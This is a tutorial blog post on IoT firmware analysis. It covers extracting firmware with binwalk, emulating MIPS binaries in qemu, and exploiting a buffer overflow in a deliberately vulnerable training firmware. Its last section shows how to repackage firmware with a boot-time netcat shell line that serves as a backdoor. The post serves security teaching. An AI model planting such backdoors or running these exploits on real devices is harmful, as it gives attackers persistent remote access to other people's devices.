There are two firmware which we will be using for this post:
Kkeps.bin (firmware of a kankun smart plug) – downloadable from http://homedash.org/2014/09/21/firmware-downloads/ DVRF_0.3.bin (firmware of Damn Vulnerable Router Firmware by @b1ack0wl) – downloadable from https://github.com/praetorian-inc/DVRF
Once we have the Kankun firmware, the first thing that we will do is extract the file system from the firmware using binwalk. binwalk -e kkeps.bin
Now that binwalk has extracted the firmware; we can look into the file system to see if there are any interesting binaries which we can try to target. As we are looking, we see that inside the sbin/ folder, there are a couple of binaries which look custom developed, as the name starts with the string kkeps.
Running firmware binaries meant for different architecture
Now, to interact with these binaries, either we need to run the binary by getting access to the device shell (something which we will do in the later posts), or we can emulate the binary by identifying what architecture is the binary supposed to run on. For this, we can use the readelf utility.
As we can see from the screenshot above, the binary is meant for the MIPS architecture. We need to find the corresponding qemu binary which will allow us to emulate binaries for the MIPS architecture. The installation of qemu is outside the scope of this post since there are a lot of online resources with a step-by-step guide on how to do it. Once you have successfully installed qemu on your system, the next step is to copy the qemu-mips-static binary to the root folder of the firmware. Let’s, first of all, try to run busybox located in the bin folder, and see if it works.
Since the busybox binary is compiled for another architecture, it simply refuses to run on our x86 machine, giving an Exec format error. Now, let’s try the same again, this time using qemu-mips-static and chroot: sudo chroot. ./qemu-mips-static bin/busybox
As we can see, we are now successfully able to run binaries by emulating them for the given architecture using Qemu. Let’s now try to emulate the kkeps_seekwifi binary located in the sbin folder using qemu-mips now, also using chroot as given below: sudo chroot . ./qemu-mips-static sbin/kkeps_seekwifi
As the name of the binary says seekwifi, it is possible that this binary is looking for connections to the device (if it were running on the device). Let’s check if it has started some sort of listener on any of our ports. For this, we will use netstat as given below.
Indeed! It has started a listener on port 50000. Let’s see if we can even connect to this port and send some data which will be received by the listener.
If we look at the other terminal window, we will notice that the running binary has received the data sent through telnet.
Thus, we can emulate binaries from firmware for a different architecture and even interact with the running binaries. This opens up a lot of possibilities for us as penetration testers. In fact, it means that if we can get the firmware of any device, we can even perform attacks on them and verify if it works or not, without having the need of getting the actual device.
Exploiting stack-based buffer overflows on MIPS
Let’s now go ahead and try to perform a stack based buffer overflow exploit on a binary for MIPS platform. This is assuming the fact that the readers know about the basic concepts of a stack based buffer overflow vulnerability. For this exercise, we will use the Damn Vulnerable Router Firmware. The first step, as with any of the firmware is, to extract the file system using binwalk. Once you extract the DVRF file system using binwalk, you will find the challenges in the squashfs-root/pwnable/Intro folder. The challenge that we are going to crack is the stack_bof_01. Before we go into the exploitation of this binary, let’s first have a look at the disassembly using IDA. You can even use radare2 or plasma to do this, depending on your preference. We will use IDA for this series. Also, while loading up the binary in IDA, ensure to change the architecture type of MIPS little endian.
The first thing we would need to have a look at is to see the list of functions and see if there are any interesting functions.
As we can see, there is a function of potential interest called dat_shell at the address 0x400950. We will come back to this later. Let’s try to run the program and see what is the normal output when the binary is run. We will run it just like we did in the previous section using qemu and chroot.
It looks like the binary needs an argument, which when matches the condition specified by the developer, will result in another output, instead of “Try Again.” For this, let’s run qemu with a debugger attached to it using the -g flag and a port number and connect to it remotely using IDA. Just to note, during emulation in some cases, you will also have to set the environment variables expected by the binary, using the qemu’s –e flag.
As we can see the execution is now paused, as it expects the debugger to connect to it and give further operations to perform. So, let’s go to IDA and attach to this process by configuring the remote debugger. For this, we will need to open the same binary in IDA and then go to Debugger | Process Options, and enter our remote IP address (where we have the binary being emulated) and port here.
Once done, we can then run the debugger and attach to the existing running process. You can set breakpoints here and analyze various registers, as well as perform anything you would like to perform.
We will go in depth in MIPS assembly later on in this post series, but for now, we can focus on PC and RA, which are two most useful registers from an exploitation perspective, and stand from Program Counter and Return Address respectively. To give a quick background, Program Counter is the next instruction to be fetched (due to the MIPS pipelining), and RA is the Return Address (where the program returns after finishing a subroutine). Controlling either of these will give us access to the program flow, and thus the program execution can be manipulated. Since this is a Stack based overflow crackme, let’s run the binary with an extremely long string of 2000 characters generated by Metasploit’s pattern_create.rb as shown below.
Once generated, we can use this pattern as an argument while running the binary and debug the binary in IDA to see where our PC gets to.
Since the program is now running, let’s go to IDA and see what is the value of PC at the program crash. We will be able to see that the PC stores the value of 0x41386741. If we convert the value of 0x41386741 to string, we get to know that it comes to be A8gA, which using pattern_offset.rb, we can find out to be 204. This means that we can control the Program Counter and that it takes 204 characters of junk to reach a point where the next character will overwrite the Program Counter.
Now, let’s try to call the dat_shell function which we saw earlier using this overflow vulnerability. Since the first two lines deal with GP (Global pointer), let’s avoid those lines and directly jump to the third line of instruction located at the address 0x40095c.
So we will again generate a pattern of 204 characters, and after that, we will put the address of the third instruction in dat_shell function. As we can see from the image below, this time, tells us “Congrats! I will now execute /bin/sh” which means we have now been successful in exploiting. Had it been a real device, this would indeed have given us a shell.
How to backdoor a firmware
One of the other interesting things we could do with firmware is to create a malicious version of the original firmware. This could be done by extracting the file system from the firmware, adding malicious scripts which should be triggered automatically giving you a reverse shell, and then repackaging it into a new firmware. As an additional step, if you have access (hardware based or online), you can even flash the newly created firmware to the device. This poses a huge security risk because most of the devices you buy are not directly from the manufacturers but rather from the distributors. Unless you verify that it’s a legitimate firmware running on the device, you can’t be fully sure that it is not backdoored. We won’t go into details of how manufacturers put backdoors themselves in the firmware. Let’s now deep dive into how all of this could be done.
Introducing firmware Mod kit
Firmware Mod Kit is a tool written by Jeremy Collake and Craig Heffner. Using FMK, as it is popularly called, you can extract a firmware image, add your own code, and build a new version of the firmware. Firmware mod kit is a complete suite both to extract, as well as build new firmware. For extraction, it also uses Binwalk as part of its extraction process. To extract firmware using binwalk, we can use the extract-firmware.sh followed by the firmware binary file name as shown below.
Once the firmware is extracted, it will store the extracted file system in the fmk directory of the same folder. Here, we can modify or add any file we want. As we can see from the below screenshot, there is a busybox binary, which has Netcat as well. If we want, we could add the Netcat reverse shell to connect to our IP anytime the device boots up.
To add the backdoor, we can add the following line in any of the .sh files, which can be triggered automatically on device boot up. /bin/busybox nc –nlp 12345 –e /bin/busybox sh & Once we have made the changes, we can then use the build-firmware.sh to build the new firmware which then could be flashed to the device.
That is all for this post. I hope you were able to learn a lot about analyzing and exploiting firmware binaries. That is all for this post. In the next post, we will learn more about Hardware based exploitation on these devices. If you are interested in attending our live hands-on training class on “Offensive IoT Exploitation”, drop us an email at secure@attify.com.